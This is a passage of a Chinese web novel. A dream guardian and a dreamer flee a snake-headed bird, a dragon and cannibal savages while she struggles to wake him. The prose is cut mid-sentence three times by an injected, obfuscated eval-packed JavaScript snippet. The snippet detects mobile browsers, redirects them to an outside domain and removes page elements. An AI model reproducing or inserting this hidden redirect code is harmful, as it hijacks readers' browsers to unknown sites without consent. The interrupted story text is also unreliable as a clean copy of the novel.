“不对,一定是我打开的方式不对。”潼燏手指都快打麻了眼前也没有一点反应,她直接放弃了这个动作,两眼一睁盯着树上那只歪头看她的怪鸟,眼神慢慢凌厉了起来,“看我怎么收拾你。” 作为梦境守护者,她只需意念就能随意变幻梦境,都不需要什么言出法随,只要脑瓜子稍稍一想,把这片原始森林切换成未来科技时代那都是轻而易举的。 至于打响指,只不过是她为了装酷而想出的仪式感。 潼燏盯着怪鸟冥思苦想,脑海里把它从走地鸡变成了玩具蛇,又从玩具蛇变成了烤鸡。 想象出十几种模样后,怪鸟仍纹丝不动地立在树杈上吐着信子,像是在嘲笑她的无能。 “趁它没追我们,赶紧走。”宋洹默上前拉她的手臂,强行要把她带走,虽然这个女人智力有问题,但怎么说也是一条生命。 潼燏无心顾他,甩开他的手倔强道:“要走你自己走,我就不信了,我还搞不定一只鸟。” 宋洹默见她已经完全不正常,求雨失败后竟然企图用眼神杀死树上的怪物。 果然是个疯子。 他懒得再管,径直离开了这里。 潼燏没注意到他真的走了,依旧不依不饶地站在树下跟怪鸟大眼瞪着小眼,直到盯到眼睛开始发酸,她才后知后觉地意识到了一个极其严重的问题。 她的控梦能力好像消失了...... 这意味着这里的任何一样生物都可以伤害到她,不,梦里是不会有感觉的,即使这鸟咬她一口,她也不会痛。 但现在最重要的是,她怎么无缘无故控不了梦了?难道是梦境星星出现故障了?可这跟她的控梦能力有什么关系? “怎么回事啊?”潼燏百思不得其解,正当她想得入神之际,一滩冰凉的液体落在了她的肩膀上,她狐疑地伸手一摸,黏糊糊的绿色粘液像芝士一样拉出了长长的丝。 “咦~这什么玩意,好恶心。”她皱着眉头甩了甩自己的手,恶心到忍不住干呕了几声。 下一秒,一股强烈的危机感涌上她的心头,她瞬间汗毛直立,像个卡壳的机器人般慢吞吞地抬头望去。 怪鸟的脖子从树上伸了下来,像弹簧一样拉长到了她的头顶上方,黑色的蛇信子不断地发出“嘶嘶”的捕猎声。 她看着这近在迟尺的蛇头,黑色的纹理如褶皱一样层层叠叠,金黄色的竖瞳像是锁定了猎物般逐渐变成了嗜血的红色。 “啊!!!” 一道凄厉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963121|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖叫声响彻整个森林,激起了无数的飞鸟。 宋洹默听到惨叫声刚想回头,一个身影极速地冲了过来,快到几乎出现了幻影,掠过他身旁时抓起他的手疯了似的向前跑去。 “快跑!这玩意会吃人!”潼燏吓得脸上的五官扭曲在了一起,她拽着他一路狂奔,彻底失去了刚才的从容。 即使在梦里没有感觉,她也不想被一只丑鸟吃掉。 宋洹默不知道这人抽哪门子风,一会儿疯癫一会儿正常,但现在后面还追着一只怪鸟,他也管不了那么多,只能先和她一起逃命。 他们快速穿越过丛丛树林,差点被半路跑出的鹿马兽一脚踹飞,两人一路披荆斩棘,跨过木桩,躲过种种飞禽走兽,但还是没有甩掉身后那只紧追不舍的怪鸟。 它紧紧地跟在他们身后,奇怪的是它竟没有直接起飞抓他们,而是一直跟他们保持着一段似远非远的距离。 潼燏回头看了一眼,气喘吁吁道:“我怎么感觉它故意的?” “它大概是想等我们跑累了,再一口吞掉我们。”宋洹默早就看透了它的捕猎手段,他们两个就像它的囊中之物,等它玩够了就会露出真正的杀戮本性。 “好家伙,当我牛肉丸啊,想把我捶打筋道了再吃!”潼燏气呼呼地喊道,可脚下实在是跑不动了。 正当她力竭之际,一只通体白色长着翅膀的独角恐龙正趴在林间优雅地舔舐着绿草上的水珠。 她灵机一动,顿时有了精神,冲着宋洹默招呼道:“我有办法了,快爬到这独角恐龙的背上去。” “什么?你自己去吧。”宋洹默以为她又要抽疯,立即甩开她的手,打算和她分道扬镳。 谁料潼燏说干就干,一个跨步骑到了独角恐龙的背上,也不知她哪来的力气,将他也一把拽了上去。 独角恐龙生性胆小,被这两个不明生物吓得一跃而起,两只锋利的前爪慌乱地在空中一阵扑腾,眼看甩不掉他们,它张开翅膀奋力一挥,以旱地拔葱的姿势朝着天空飞去。 “啊啊啊啊啊!” 一阵强烈的失重感陡然袭来,潼燏低着头尖叫不断,和宋洹默一前一后齐齐地俯身趴在龙背上死死地抓着它身上的羽毛,四只脚无力地在空中晃荡。 独角恐龙似火箭般垂直上升一段后,稳定下来开始了正常的飞行,两人无处安放的腿终于找到了落脚的地方。 潼燏将脑袋深深地埋在了柔软的羽毛里,她小心翼翼地蠕动着身体往前挪了挪,紧紧地抱住了它的脖子。 后方的宋洹默直起身,稳稳地坐在了龙背上,他探头往下一看,浩瀚的原始森林就在他们的脚下,那些体型巨大的怪兽此刻看起来就像蚂蚁一样渺小,这足以说明他们现在正在万米高空之上。 他望着前面跟缩头乌龟一样窝着的女人,没好气地问道:“这就是你的办法?” “是啊,我们不是把怪鸟甩掉了吗?”潼燏埋着脑袋颤巍巍地回道。 宋洹默翻了个白眼,质问道:“那麻烦你告诉我,现在怎么下去?” “呃……”潼燏尬了一会,一本正经道,“这个......等它飞累了总会下去的吧。” “你......” 宋洹默刚想怼她,身后忽然袭来一股翻涌的气流,他转头一看,挑了挑眉,一脸平静道:“我看你是等不到它下去了。” 潼燏疑惑道:“什么意思?” “你自己往旁边看一眼就知道了。” 5. 森林大逃亡(三) 潼燏本就恐高,就算是在梦里她也得鼓足了勇气才敢抬起脑袋往左边瞄了一眼,这不看不知道,一看吓一跳,那只怪鸟竟张着血盆大口扭着脖子飞了上来,锋利的獠牙在阳光下闪闪发亮,眼看就要一口咬在她的脑袋上。 “妈呀!”潼燏两眼一闭,没想到她堂堂梦境霸主竟然要被一只长相如此丑陋的怪鸟吃掉,这简直是奇耻大辱! 电光火石间,独角恐龙一个俯身往下冲去,敏捷地躲开了怪鸟的袭击,怪鸟见偷袭失败,紧随其下转变方向朝着后方的宋洹默袭去。 独角恐龙察觉到它的动作,灵活地翻转过身体,抬起巨爪往怪鸟的蛇头上狠狠地拍了一掌,这结结实实的一击瞬间让怪鸟头晕眼花,蛇嘴里粘液四飞,像是口吐白沫快要晕了过去一般。 潼燏和宋洹默全然不知战况如何,他俩就像滚筒洗衣机里的衣服,被甩得三百六十度无死角地上下翻飞,心率直飙一百八,唯一能做的就是紧闭着眼死死地扒在龙背上,以防被甩下去摔个稀巴烂。 受到重击的怪鸟瞳孔变得越发血红,它在空中直直地立起了脖子,张开嘴猛地喷射出了一股又腥又臭的紫黑色毒液,独角恐龙反应极快,挥舞着翅膀一个优雅侧身避开了毒液的侵染,但高空中的风极大,一滴液体被风一刮,不偏不倚地落在了它雪白的脚上。 独角恐龙唰地一下睁大了眼,难以置信地看着自己洁白无瑕的羽毛上沾到了丑陋的紫黑色,它彻底暴怒,张开巨嘴嗷地一声咆哮,一团熊熊烈火从口中喷出,怪鸟闪躲不及,瞬间被淹没在了赤黄的火焰里。 烈焰消散后,一只焦黑的无毛鸟赤裸裸地出现在了半空中,整个蛇头变得又黑又脆,一块块黑色的鳞皮哗啦哗啦地从它的身体上脱落了下来,变成焦炭的怪鸟彻底失去了战斗力,黄色的竖瞳翻了个大大的白眼后,直直地掉了下去。 潼燏见它彻底完败,一时间幸灾乐祸忘记了恐惧,探头往下大喊道:“就你还想吃我们,长得丑想得美!” 话音刚落,独角恐龙一个回旋倒栽葱似的往下飞去,潼燏双手一滑,身体不受控制地往后倒去,张着嘴大叫道:“救命啊!” “小心!”宋洹默眼疾手快一把搂住她的腰将她捞了回来,两人趴在龙背上极速下落,这一高一低的落差导致他们呼吸都变得有些困难。 独角龙径直冲进海里,“嘭”地一声溅起了十米高的浪花,几千条五彩斑斓的鱼儿瞬间被这庞然大物砸得飞出了海面,在空中一个旋转跳跃后又落回了海里。 它在海里游了一圈又钻出水面,仔仔细细地清理起了那根被染成紫黑色的羽毛,清洗干净后,它满意地抖了抖身上的水珠,挥动着翅膀扬长而去。 半响后,两个身上挂着海藻的落汤鸡狼狈地从水里爬了上来,齐齐地躺在了广阔的沙滩上。 宋洹默不断喘着粗气,湿透的胸口一起一伏,他撩起湿哒哒的头发捋到了脑后,累到不想再动弹一下。 一旁的潼燏四仰八叉地躺在沙子上,她累得筋疲力尽,脑花被甩得像浆糊一样坨在了一起,胃里翻江倒海,晚上吃的鸡腿都快从嗓子眼里哕了出来。 “不行了,我不陪你玩了,我要回去了,你自己一个人慢慢玩吧。”她有气无力地说了一句,伸出一根手指对着天空随手一划。 失去掌控的梦境真是一点都不好玩,差点要了她半条小命,待会出去以后她必须得好好翻一翻说明书,看看究竟是哪里出了问题,她怎么突然间就失去控梦能力了呢? 以前可从来没发生过这么离谱的情况。 身旁的宋洹默懒散地闭上了眼,懒得搭理她,她爱去哪去哪,他才没工夫管她。 等了一会,潼燏发现自己还没有离开这个梦境,她心中一惊,伸出手对着天空再次一划,以往一旦做出这个动作,她就会立刻退出梦境回到管理室,可现在却一点变化也没有。 我去? 她瞬间冷汗直冒,唰地一下坐直了身体,手指像雨刮器一般对着蓝天疯狂挥了起来,挥了几十下后,天还是那片天,海也还是那片海。 “什么鬼啊!我怎么出不去了!”潼燏从地上踉跄地爬了起来,对着天空继续挥动着手指,慌乱地大喊道,“有没有搞错啊,怎么哪哪都有问题,你这破系统,快让我出去!” “又开始了。”宋洹默躺在柔软的沙滩上,双手悠闲地枕在脑后,像看精神病患者似的看着她。 这个女人又开始发疯了。 “你听见没啊!我可是梦境守护者,你的顶头上司,你不让我出去,你还想不想干了!” “你是不是年纪太大耳朵聋了啊,我要出去,我不要待在这个梦里了!” “算我求你行了吧,咱俩都共事这么多年了,你怎么能一言不合就出问题,再怎么也得让我出去维修一下吧,我现在连控梦之力都没了,你让我待在这里干嘛!” “快让我出去嘛,你别在这种时候搞幺蛾子呀,你不让我出去以后谁来守护梦境啊,我知道你不是故意的,你要是卡了就吱一声,我可以再等等你。” 宋洹默眼看着她从最初的暴跳如雷慢慢变成了卑躬屈膝,嚣张的气焰逐渐萎了下去,连带着嗓门都低了下来,她喊了半天见没人回应,颓丧地一屁股坐在了沙滩上。 她撑着额头似乎在思考什么,一会后便转头把目标对准了他,苦丧着脸问道:“是不是你的梦境星星又出故障了?” 还没等他回答,她又摸着自己的下巴自问自答道:“不对呀,梦境星星出故障并不影响我啊,那难道是系统出故障了?也不可能啊,这么多年没出过问题偏偏在我失去控梦之力的时候搞事情?有这么凑巧吗?不过我为什么会失去控梦之力?” 她盘腿坐在一旁自言自语了起来,越想越觉得不对劲,手臂上还隐隐传来了一阵刺痛,她撇过头一看,右边的手臂上横着一道几厘米长的伤口,腥咸的海水浸泡后伤口再次受创,流出了鲜红的血液。 好痛! 潼燏震惊地盯着手臂上的伤口,整个人像是被雷劈了一样怔在了原地。 梦里的一切都是虚假的,不管发生什么都不会有任何感觉,但她现在不仅真的受了伤还感受到了切切实实的疼痛! 这太不科学了! 天呐!究竟是哪个环节出了问题!这还是在梦里吗?还是说她其实是穿越了,一不小心来到了一个群魔乱舞的侏罗纪时代? 不不不,绝无这种可能,她一定是在梦里。 围绕在天空之外的那层闪烁着金色的保护罩是梦境星星独有的东西,它就像结界般保护着每个人类的梦境,让他们每天都能好好地做一个完整的梦。 潼燏脑海里一片混乱,她扑上前一把抓住了宋洹默的肩膀,质问道:“你这做的什么梦啊?太古怪了,赶紧给我醒醒,我不要再待在这里。” 他是这个梦境的主人,只要他醒了,这个梦就会结束,那他们就可以离开这个诡异的梦了。 “你又发什么神经。”宋洹默不耐烦地推开她,起身往后退了一步,全身上下写着四个明晃晃的大字——“离我远点。” “我没发神经,你认真听我说,其实你现在是在做梦,我知道你沉浸在这个乱七八糟的梦里意识不到自己在干嘛也不知道自己是谁,但你必须记住你现在只是在做梦,做梦你懂吗?” 潼燏站在他面前手舞足蹈地解释着,试图唤醒他的意识,眼看他不相信,她只好继续毫无逻辑地持续输出着:“做梦的意思就是这里的一切都是假的,什么龙啊鸟啊都是虚假的事物,你现在其实是在睡觉,但你现在别睡了,赶紧醒醒。” “神经。”宋洹默蹙了蹙眉,确认了她完完全全就是个疯子,他不想再跟一个傻子掰扯,转头就要离开这里。 潼燏急忙小跑上去拦在了他的身前,一字一句地解释道:“我知道你现在压根不相信我说的,因为梦就是这样,一旦开始就意识不到自己在做梦,我理解你,但你现在必须赶紧醒过来,你的梦境出问题了,正常的梦是不会有痛觉的。” 她扭过身子,努力地将手臂上的伤口展示在他面前,有理有据道:“你看,我都受伤了还痛得很,这个梦实在太危险了,你赶紧醒醒别再做梦了。” 她记得梦境管理手册曾提到过,人类一旦在梦境中感受到痛感,那就意味着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963122|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到了真实的伤害,无论是她还是梦主都不能在梦境中受太重的伤,否则会直接影响人体的大脑皮层,梦醒后极有可能脑子出问题。 虽然手册中也提到过梦境守护者不能强行唤醒梦主,否则也有可能影响其大脑的记忆功能,但她现在别无选择,既失去了控梦能力又离不开这个梦,比起两个人一起在这危机四伏的梦里受伤醒来变成智障,还不如现在就唤醒他,趁早结束这个梦境。 “走开。”宋洹默一个字都没听进去,他冷冷地看着潼燏,她所说的话在他的眼里都是些疯言疯语而已。 “我不走,你给我醒醒!”潼燏见他不信,急得大喊,无意中一撇,看到不远处的树林里出现了三个野人,他们正举着弓弩鬼鬼祟祟地朝着林边靠近。 “又来,有完没完啊?”她无奈地仰天长叹了一声,真是一波未平一波又起。 “先跑吧,那几个野人又来了!”潼燏只好暂时止住了话头,拉起宋洹默拔腿就跑,其他的事等安全了再说。 几只长箭破空而来,两人东躲西藏跑进了树林里,身后的野人常年在原始森林里生活,对这里的地形了如指掌,他们像三只敏捷的猴子在林间上蹿下跳,一会儿在地上跳跃,一会儿抓着藤蔓在树杈上荡秋千,没两下就追了上来。 危急时刻,前方的空地上出现了一栋别墅,宋洹默拉着她跑了进去,反手锁上了门口的铁门,他拽过墙边的沙发柜子通通抵在了门背后,有这些重物的加持,他们一时半会应该闯不进来。 两人三步并作两步躲进了三楼的房间,锁上房门后,潼燏和宋洹墨又把床推过去挡在了门口,累得坐在地上直喘气。 今晚在这个梦里的运动量已经远远超出了她一整年的量,潼燏背靠在墙上累到干呕,她真的一步也跑不动了。 但现在还不是休息的时候,她深呼吸了一口气,坐在宋洹默面前双手合十,苦苦哀求道:“宋洹默,我求你了,别再做梦了,你赶紧醒醒,你要是再不醒,咱俩就要在这个梦里嗝屁了,醒来就会变成两个大傻子,我明天还要上班还要写代码,你可别害我啊!” 宋洹默低着脑袋背靠着墙,修长的双腿一条伸直,一条半弯曲着,他在听到自己的名字后瞳孔微微一怔,抬眸质问道:“你怎么知道我的名字?” “我当然知道了,你不记得我了吗,昨天晚上你的梦里我也在啊,蜡笔小新你还记得吗?”潼燏极力地引导着他,指着这栋房子提醒道,“你仔细想想,原始森林里怎么可能出现现代别墅,还有外面那些怪兽,即使在侏罗纪时代也只有恐龙,哪来的野人啊。” 宋洹默听着她的话,脑海里似乎有什么藏在暗处的东西挣扎着要破土而出,但这些东西像是被铁链禁锢住了一般,他只能隐隐约约地感觉到一些,但具体是什么却一点都清晰不起来。 “你......”他皱了皱眉,犹豫了几秒又止住了话语。 潼燏一看有戏,按捺下心中的欢喜,乘胜追击道:“你再想想,哪有鸟会长着蛇的脑袋啊,哪有恐龙是白色的还长满了羽毛,最重要的是,你除了知道自己的名字以外,是不是根本就不记得自己为什么会出现在这里,这是因为这一切都只是你在做梦。” 浅色的眼眸渐渐深沉了起来,宋洹默的脑中冒出了一些模糊的画面,灯光下,他好像站在一栋白色的房子里跟几个看不清脸的人在说话,接着画面一转,他又坐在一张电脑桌前翻看着书本。 一些零碎的记忆快要从他的脑海中涌现出来,深海般的眼眸直直地盯着潼燏,低语道:“我好像是.....” 潼燏紧握着拳头,万分期待地看着他,她甚至屏住了呼吸,生怕自己呼吸声重了打扰到他的思绪。 可就差那么临门一脚时,楼下传来了一阵破门的巨响,犹如利刃般斩断了他的思绪,宋洹默眼神一滞,脑海里刚抓住的碎片顷刻间烟消云散,他眨了眨懵懂的大眼睛,迷茫道:“忘了。” “什么!”潼燏气得从地上蹦了起来,差一点点他就想起来了,就差那么一点点她就可以离开这里了! 都怪那三个可恶的野人! 必须灭了他们! 6. 森林大逃亡(四) “你们给我等着。” 潼燏火冒三丈,气得整张脸都皱在了一起,她开始满屋子搜索防身工具,翻了一圈后一把抓起阳台上的立式台灯,哐当一声把上面红绿配的灯罩丢了出去,拿着一根光秃秃的铁杆子站在房门口扎好马步,做好了战斗的准备。 “你别着急,继续想,这里交给我。”她虽十分气恼,但仍极有耐心地安抚着宋洹默,毕竟现在能改变局面的也只有他了。 那三个野人要是敢闯进来,她一定一杆子一个全给叉出去! “哐哐哐,咚咚咚。” 门口传来野人的搜寻声,他们手持长矛,似暴徒般把整栋别墅拆了个稀巴烂,连廊道上的绿植都没有放过,几人在踹开三四间房门搜寻无果后,把目光最终锁定在了走廊末端的最后一扇房门上。 三个人叽叽呱呱地交流了几句,确定战术后举起长矛开始猛戳,木质的房门压根顶不住这猛烈的攻击,三两下便被戳出了一个大洞。 领头的野人见戳得差不多了,抬起乌黑的脚掌,铆足了劲一个猛踢,踹开了这扇脆弱的房门。 “我跟你们拼啦!”潼燏高高地站在门后的床上,举起铁杆子一边大叫一边对着他们乱挥。 三个野人没想到她会突然发起袭击,站在破碎的门外被她揍得毫无还手之力,只好狼狈地抱着脑袋左躲右闪,伺机寻找着进攻的机会。 角落里的宋洹默抱着脑袋缩成了一团,无数碎片似的记忆在他的脑海里疯狂逃窜,他头痛欲裂,现实与幻境混乱地交织在了一起,眼前出现了许多凌乱的画面,他分不清自己此刻身处于何处,只能紧咬着嘴唇痛苦地接收着大脑的讯息。 前方的潼燏还在顽强抗争,她发了疯似的对着野人一顿乱棍,领头的男人被她一铁棍砸中了眼睛,“嗷”地痛呼了一声,捂着眼睛往后一退,抬起手愤怒地锤了几下胸口。 这下他彻底被激怒了,举起手里的长矛狠狠往地上一摔,反手从光溜溜的背后掏出了一把杀伤力极高的武器,瞪着乌青的左眼,瞄准了还在耍棍的潼燏。 “我要把你们都叉出去!”潼燏疯狂地挥舞着铁棍,余光一闪,看清了他手里的东西,她瞬间倒吸了一口冷气,头顶上摇摇晃晃飘过三个大字。 ——草率了。 说好的原始社会呢? 谁家野人有AK啊! 她堪堪停下了手里的动作,眼疾手快地收住了即将挥出去的一棍,勉强扯出一抹尬笑,圆场道:“哎呀,我就是跟你们闹着玩呢,千万别当真啊。” 刚刚还嫉恶如仇的眼神顿时变得无比清澈,她眨了眨懵懂的双眼,竭力露出了一个单纯无害的笑容,试图用最纯真的善意感化对方:“这位大哥,有话好好说,掏什么枪嘛,咱们都是讲道理的人,君子动口不动手啊。” “哇哇呜呜呱呱。”野人首领举着一把黑色的AK,顶着一只熊猫眼冲她叽叽哇哇说了几句。 虽然听不懂,但一看他那狰狞的表情就知道一定是在骂人,而且还骂得非常难听。 潼燏识时务者为俊杰,立马丢掉了手里的铁杆,双手自觉抬起作投降状,讪笑了两声,谄媚道:“大哥,你看我手里什么都没有,你也没必要拿把AK对着我吧,你都追我们一路了,怎么也算半个朋友了对吧,要不你先把枪放下,咱们坐下来喝杯咖啡慢慢聊,我看下面还有一间厨房,说不定我还能给你们煎个牛排尝尝。” 野人大哥完全听不懂她在说什么,他举着枪气势汹汹地走进了房间,转身冲身后的两人努了努嘴,他们立刻心领会神,利索地解下了头上的草绳,将潼燏和宋洹默双手双脚绑了起来。 潼燏不敢再造次,生怕他一个不小心擦枪走火送她归了西,只能乖乖地任凭他们摆布。 十分钟后,两个野人一前一后抬着长矛走出了别墅,潼燏就像只年猪一样被牢牢地捆绑在了上面,她的脑袋无力地垂着,手脚被草绳勒得生疼。 她堂堂梦境之主,竟这样难堪地被绑在了长矛上,简直就是奇耻大辱! 她看了眼一旁的宋洹默,他只是简单地绑了双手,两眼无神地被野人大哥一路牵着往前走去。 不是,这待遇相差也太大了吧? 潼燏腾空挣扎了几下,冲着他焦急地喊道:“宋洹默,你到底想起来没啊,我都跟你说了无数遍了,你是在做梦,这一切都是假的,你能不能醒醒啊!” 宋洹默像是没听见她的话似的,仍呆呆地走着,没有一点反应。 “喂,你听见没有,你这人到底怎么回事,我都跟你说这么明白了,你都还没意识到自己在做梦吗?你做个梦把智商都做没了?”她再也忍无可忍,语气逐渐暴躁了起来。 他要是再不醒,他俩就真的完蛋了! 但宋洹默还是没有回应,行尸走肉般慢吞吞地走在路上,似乎已经完美融入了野人的团体。 潼燏气恼地翻了个大白眼,她当了这么多年梦境守护者,就没见过这么难唤醒的梦主,明明一句“你在做梦”就可以搞定的事情,在他这里说得都口干舌燥了却还是一点用都没有。 真是服了! “宋洹默,你是不是个傻子啊!早知道你这么呆,我今晚就不该进入你的梦境,让你一个人在这里自生自灭好了!” 野人首领被她吵得不行,停下脚步,转头举起AK顶在了她的脑门上,不耐烦地警告道:“呱呱呜呜喳喳。” “唔唔。”潼燏立刻闭上了嘴,似懂非懂地点了点头,背后冷汗直流,再也不敢多说一个字。 半小时后,两人被带进了野人大本营。 十几个围着同款树皮的野人正聚在破烂的茅屋前生火做饭,他们抓起一根硬木棒塞进了地上的木桩子里,黑黄的双手不断地搓着木棒,不一会儿,一股白色的烟雾幽幽地从木桩里飘了出来,紧接着窜起了小小的火苗,他们脸上一喜,立马添上枯树叶和树枝,火苗逐渐越烧越旺。 野人首领揪着俩人的后衣领,像提小鸡似的提到了众人面前,屋前的男女老少立马团团围住了他们,咋咋呼呼地盯着他俩上看下看,潼燏被丢在了地上,像极了砧板上任人宰割的鱼肉,赤裸裸地迎接着屠夫们的审视。 这一刻,她恨不得自己能变成一只鼹鼠挖个洞逃走,但现实是她又被拎起来绑在了树上,成了一只待宰的羔羊。 潼燏无奈看向隔壁大树上绑着的宋洹默,他低垂着脑袋不知道在想些什么,她叹了口气,再次抱着希望提醒道:“宋洹默,你现在是在梦里,这一切都是假的,不存在的,听懂了吗?” 说完,她静静地等了一会,没等来他的回复,反而等来了一个野人族里的女人。 她穿着一条用绿色树叶做成的纯天然连衣裙,端着一只棕色的椰子碗,碗里是一堆黑不溜秋交杂着草根鱼虾的粘稠液体。 她举起手里的一束青草伸进碗里蘸了蘸,二话不说就往潼燏裸露的手臂上刷了起来。 “这位美丽的姐姐,你在干什么呢?”潼燏眨巴着无辜的双眼,笑眯兮兮地问道。 女人刷完她的左臂,开始刷右臂,潼燏见搭讪不成功,扫了眼她的衣服,夸张地“哇”了一声,讨好道:“姐姐,你穿的裙子好漂亮啊,是你自己做的吗?你也太厉害了吧,手好巧哦,你能不能看在咱们都是女人的份上,行行好把我放了。” 女人淡淡地撇了她一眼,直接无视掉她的星星眼,刷完液体后走回了火堆旁。 潼燏好奇地低头闻了闻,一股熟悉的五香孜然味飘进了她的鼻腔,恍惚间,她想起了烤肉店里的蘸料。 等等,蘸料? 一个极度可怕的想法从她的心底冒了出来,她抬眼一看,野人首领正在一块大石头上磨着一把小刀。 刀光闪闪,她两眼一黑,差点晕了过去。 他们竟然是食人族! 天呐!这究竟是什么惨绝人寰的剧情! 完了,这下真的要玩完了。 潼燏仰天长啸,绝望道:“没想到我堂堂梦境霸主竟然会栽在宋洹默这个大傻子手里,天呐,谁来救救我啊!早知道你这个破系统这么不靠谱,我当初就不该当什么梦境守护者!啊啊啊!救命啊!” 她喊了半天,可回应她的只有冰冷的磨刀声。 潼燏终于体会到了什么是叫天天不应叫地地不灵,她无比恐惧地意识到,在现在这个处境下,即使她喊破喉咙也不会有人来救她。 野人首领磨好了刀,凶神恶煞地朝她走来,她看到刀上泛起了冷冽的寒光,忍不住打了个寒颤,颤抖着身体苦苦求饶道:“求你了大哥,别吃我行不行,我这人平时只爱吃垃圾食品,浑身上下全是肥肉一点瘦肉都没有,你要吃就吃我旁边那个男的吧,你看他一身肌肉,一定特别好吃,求你了,不要吃我!” 可无论她怎么说,野人首领依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963123|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧不为所动,拿着刀在她身上上下左右比划了起来,琢磨着从哪里下手比较合适。 潼燏被他吓得嚎啕大哭了起来,鼻涕眼泪糊了一脸,不断地哀求道:“求你了大哥,不要吃我行不行,我平时抽个血都害怕,你这一刀下去我真的会痛死的,求你了大哥,我可以帮你打猎,你要是想吃鲨鱼我现在就去海里给你抓,只求你不要吃我,求你了大哥。” 在她的哀求下,野人首领终于停下了手里的动作,他认真地看了看她,又看了眼手上的刀,转身走了回去。 潼燏见他走了,以为是自己的求饶起了作用,他真的大发慈悲地放过了自己,但没想到他一个拐弯走进了茅草屋,搬出一箱子刀具叮铃哐当地倒在了地上,蹲在地上精挑细选了起来。 我可去你的吧,你他喵居然在选趁手的工具! 我滴个老天爷啊!谁来救救她啊! “你到底是谁?” 一道低沉的声音闯入了她的耳里,潼燏怔了一秒后意识到了什么,猛地一转头,对上了一双琥珀色的眼眸。 这双眼与之前截然不同,眼里的嫌恶全然褪去,此刻正十分清醒且理智地望着她。 宋洹默已经被她成功唤醒,想起了所有睡前的记忆,也意识到了自己正在做梦,他大概捋清了现下的情况,只是还有些疑惑需要她来解答。 “谢天谢地,你终于想起你是在做梦了。”潼燏心中再次燃起了生的希望,她吸了吸鼻涕,喜极而泣道,“我是梦境守护者,这是你的梦境,我进来之后出不去你这个梦了,现在你醒来了就好,这样我们就可以出去了。” “但为什么我已经意识到这是个梦,它却还没有结束?”宋洹默神色平静地抛出了一个致命的问题。 “......” 潼燏顿时傻眼,是啊,梦主都意识到在做梦了,可为什么梦境还在继续? 这是绝对不可能发生的情况! 难道……梦境系统真的出问题了? 天呐,怎么哪哪都有问题啊?她今天入睡前真该翻翻黄历,看看上面是不是写着今日不宜睡觉。 不对不对,现在不是想这些的时候,眼下必须先逃出这里,再待下去就完蛋了。 潼燏艰难地咽了口口水,迟疑地确认道:“你......你确定你真的已经清醒了吗?” 宋洹默看着她,挑了挑眉,一字一句道:“我确定。” “那这到底这么回事?救命啊!”潼燏欲哭无泪,难道她真的要在梦里变成孜然味人肉烤串了吗? 宋洹默不知道她为什么情绪波动那么大,他看了眼周围那一圈虎视眈眈的野人,奇怪地问道:“这只是梦而已,你那么激动干什么?” “拜托,我能不激动吗?”潼燏真想把自己手臂上的伤口再展示给他看,但奈何她被绑在树上动弹不得,思索了一阵后,她灵机一动,抬起脚往他腿上狠狠一踹。 “唔。”小腿上传来一阵疼痛,宋洹默吃痛地哼了一声,眼里带着微微的怒意,质问道,“你干什么?” 潼燏见他也有了反应,急忙问道:“是不是很痛?” 宋洹默闻言,抽了抽嘴角,咬牙切齿道:“你说呢?” “痛就对了。”潼燏心里一下子平衡了不少,终于有人能跟她感同身受了,她藏下心中的窃喜,一脸严肃地解释道,“你会痛是因为这个梦境出问题了,正常的梦就算是有人拿刀砍你,你也是不会有感觉的,所以我们绝对不能在这个梦里出事,否则醒来后大脑就会受到损伤,轻则智力降到三岁,重则直接一命呜呼。” 她承认她确实有点夸大其词,因为她也不知道醒来到底会怎么样,但痛是真的痛啊!无论如何也不能再挨刀子了! 宋洹默原本对她的话有些质疑,但腿上疼痛却是实打实的,他十分确定自己的确是在梦里,但梦里能产生这么真实的伤害确实非常令他匪夷所思。 难道这个女人说的都是真的? “冷静,遇事不要慌,先想想怎么才能不变成烤肉。”潼燏见他沉默下来,知道他需要一些时间来消化这些惊人的信息,她只好不停地安慰自己先把那些乱七八糟的事抛到一边,既然宋洹默已经清醒,这对他们目前的处境来说还是很有利的。 她靠在树上努力回想着管理手册上关于梦主的注释,一个词条从脑海里悠悠飘过,她眼睛一亮,恍然大悟道:“我有办法了!” 7. 森林大逃亡(五) 宋洹默已经习惯了她的一惊一乍,他默不作声地仰靠在树上静等着后续。 “一旦梦主意识到自己是在梦境中,那他就能即刻掌握控制它的能力,这种能力名为控梦之力,它可以按照你的所思所想随意变幻梦境,所以咱们不用慌,你可以先试着运用一下。” 潼燏激动得不行,虽然她现在失去了控梦之力,但梦主可以不就行了! 耶!有救啦!她终于不用变成烤肉啦! 